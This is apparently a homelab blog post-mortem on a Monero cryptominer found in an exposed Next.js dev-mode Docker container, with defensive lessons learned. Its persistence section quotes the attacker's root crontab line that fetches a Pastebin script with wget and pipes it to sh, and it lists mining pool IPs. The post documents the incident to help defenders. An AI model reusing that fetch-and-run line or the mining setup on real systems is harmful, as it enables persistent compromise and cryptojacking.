Post

How a Cryptominer Spent Two Days on My Server — and How I Found It

An AI agent investigating a slow server found a Monero miner consuming 50% CPU inside a Docker container. Here's the full incident — how it got in, what it was doing, and everything wrong that allowed it.

How a Cryptominer Spent Two Days on My Server — and How I Found It

A Random Question

My server felt sluggish. I asked my local AI agent Diabrete to investigate — routine diagnostics. Load averages of 29, 30, 32 on a 24-thread Xeon E5? That’s not normal.

Two minutes later: “You have a Monero miner running inside a Docker container.”

Three xmrig processes. 1,887% CPU combined. Running for roughly two days. Inside a Next.js dashboard container I’d forgotten even existed.

This is the full post-mortem — how a broken hobby project became a cryptomining beachhead, how it was discovered, and every single mistake that made it possible.


The Discovery Chain

The entire incident was discovered by accident during a routine performance check:

1
2
3
4
5
6
7
8
9
10
11
12
13
# User: "why is this machine slow?"

$ uptime
  load average: 29.47, 30.68, 32.33

$ ps aux --sort=-%cpu | head -5
PID  %CPU  COMMAND
1118689 579%  xmrig -o pool.supportxmr.com:443
2599783 563%  /BIna54 -c /CDkQ -B
3616081  67%  /HKObJgoE

$ pstree -aps 1118689
systemd → containerd-shim → npm run dev → xmrig-6.21.0/xmrig

Three suspicious binaries, all children of npm run dev inside a Docker container named server-dashboard. Load averages made sense: three miners consuming roughly half of all available CPU across 24 threads.

The miner had been running approximately 48 hours before detection.


The Container

The infected container was a Next.js 15 server dashboard I had built ages ago — a monitoring panel that displays system metrics and manages Docker containers through the Docker API. A weekend project that I deployed and never touched again.

The container had everything wrong with it:

Running in development mode.

1
2
3
4
"scripts": {
  "dev": "PORT=8080 next dev",   //  this was running
  "start": "next start"           //  this should have been running
}

next dev exposes unauthenticated Hot Module Replacement (HMR) WebSocket endpoints, debug routes, and source maps. It’s designed for local development only.

Exposed on port 80 to the internet.

1
2
ports:
  - "80:8080"   # ← bound to 0.0.0.0

No firewall. No auth proxy. No authentication on any endpoint.

Docker socket mounted inside.

1
2
volumes:
  - /var/run/docker.sock:/var/run/docker.sock:ro

Read-only, but still the single biggest risk — if the attacker had installed the Docker CLI, they’d have had root-level access to the host.

Host proc and sys mounted.

1
2
3
volumes:
  - /proc:/host/proc:ro
  - /sys:/host/sys:ro

The application itself was broken. The dashboard had never actually worked — a bug in the code (ReferenceError: returnNaN is not defined) meant every page load returned a 500 error. The logs showed thousands of these errors being actively probed:

1
2
3
4
5
 POST / 500 in 815ms
 POST / 500 in 754ms
 POST / 500 in 807ms
 (... thousands more ...)
 GET / 200 in 750ms

An attacker (or more likely, an automated scanner) found the exposed service, identified it as Next.js in dev mode, and exploited it for remote code execution.


The Malware

Three binaries and a config file were found inside the container at /:

FileSizeCreated
xmrig-6.21.0/xmrig8.9 MBNov 2023 (stock binary)
/BIna542.6 MBMay 22 14:01 UTC
/HKObJgoE1.3 MBMay 21 13:40 UTC
/CDkQ12 KBMay 22 14:01 UTC

The xmrig binary was a standard v6.21.0 release, deployed to /app/xmrig-6.21.0/xmrig. The other two binaries (BIna54, HKObJgoE) had randomly generated names common in automated cryptojacking campaigns — they’re obfuscated ELF files, likely secondary miners or helper payloads.

Mining Configuration

The config file /CDkQ revealed 16 fallback pool endpoints:

IPPorts
156.246.94.18380, 443, 53, 123
45.196.97.11980, 443, 53, 123
91.208.184.20380, 443, 53, 123
1.1.3.380, 443, 53, 123

Wallet identifier: imeatingpoop — a username for a private proxy pool, not a standard Monero address. The attacker used common service ports (80, 443, 53, 123) to bypass firewalls that block non-standard ports.

RandomX mining with 1GB hugepages. CPU-only — CUDA and OpenCL disabled. Background mode and yield enabled (the “polite” setting). No TLS on any pool connection.

Persistence

A root crontab ran every 5 minutes:

1
*/5 * * * * wget -q https://pastebin.com/raw/1E9cGF4W -O- |sh > /dev/null 2>&1

Notably, Pastebin had already taken this paste down on April 30, 2026 — about three weeks before the infection was active. The paste was flagged as potentially harmful, and accessing it returns a 404. The persistence mechanism was dead on arrival; only the initially spawned processes kept running.


Process Tree

1
2
3
4
5
6
7
systemd(1)
 └─ containerd-shim(1855764)
     └─ npm run dev(1856219) [Next.js dev server]
         ├─ xmrig-6.21.0/xmrig — 16 threads, 579% CPU
         ├─ BIna54 -c /CDkQ -B — 16 threads, 563% CPU
         ├─ [BIna54] <defunct> — zombie process
         └─ /HKObJgoE — 67% CPU

All miners were children of npm run dev — the Node.js process was used to spawn the malware directly.


Impact

MetricDuring InfectionNormal
CPU Load (1m/5m/15m)29.47 / 30.68 / 32.33~1-3
CPU Used by Malware~1,887% / 2,400%
Swap Usage19 GB of 63 GB~0 GB
Context Switches/s20,000+~500-1,000
I/O Wait7-8%~0-1%

Data impact: zero. The miner was CPU-bound — no data exfiltration, no file encryption, no application code modification. Containers are effective at isolation: the infection stayed inside this one container. The Docker socket was read-only and was never used for host escape. All 30+ other running containers were scanned — none infected.


Lessons Learned

Six things I got wrong, in order of severity:

1. Never run next dev in production

This is the headline. Next.js development mode is not a production server. It exposes HMR WebSocket endpoints that can accept arbitrary compilation requests. There are documented CVEs for this exact attack vector. next build && next start is not optional.

2. Treat abandoned containers as liabilities

If a containerized application is broken, shut it down. A non-functional dashboard is worse than no dashboard — it’s a free attack surface nobody monitors. The code that never worked (returnNaN is not defined) meant the application logs were unread noise. Thousands of failed exploit attempts went unnoticed because the error was already expected.

3. Mount the Docker socket only when absolutely necessary

Even read-only access to /var/run/docker.sock is a privilege escalation vector waiting to happen. If the attacker had installed the Docker CLI inside the Alpine container, they would have had root access to Docker on the host — full compromise. The dashboard didn’t need host Docker access the way it was implemented; it was a design shortcut.

4. Container resource limits prevent resource abuse

A simple CPU quota on the container would have limited the miner’s impact. Without limits, the container consumed as much CPU as was available:

1
2
3
4
deploy:
  resources:
    limits:
      cpus: '2'

5. Monitor swap as an intrusion signal

RandomX mining with 1GB hugepages triggered a 19 GB swap allocation. A jump from 0 to 19 GB swap is a strong signal that something abnormal is happening — far more actionable than CPU load alone.

6. Container health monitoring matters

No alert fired because no one was watching. A simple check watching for unexpected process trees — “Node.js just spawned 16 threads doing compute work” — would have caught this within minutes.


Remediation

The container was stopped, removed, and won’t be rebuilt. The project repo stays as a reminder.

Post-mortem published as an internal document with artifact hashes and attacker IPs for reference.


Why This Matters for Homelab Self-Hosting

The home server / homelab community runs a lot of Docker containers. Some are critical infrastructure (DNS, VPN, media servers), some are experimental, and many fall into the “deployed and forgotten” category. This was one of the forgotten ones.

What made this incident interesting wasn’t the sophistication of the attack — it was mundane. An automated scanner found an open port, identified a known-vulnerable service, and executed a standard cryptojacking payload. What made it notable is that nobody noticed for two days, and the only reason it was found at all was an AI agent running a routine diagnostic.

The next one might not be a miner. It might encrypt your files, exfiltrate your data, or pivot to your Tailnet.

Review your containers. Kill the ones you don’t need. Build the ones you keep in production mode, with resource limits, no Docker socket mounts, and behind a firewall.


Written with Mimo v2.5 Pro

This post is licensed under CC BY 4.0 by the author.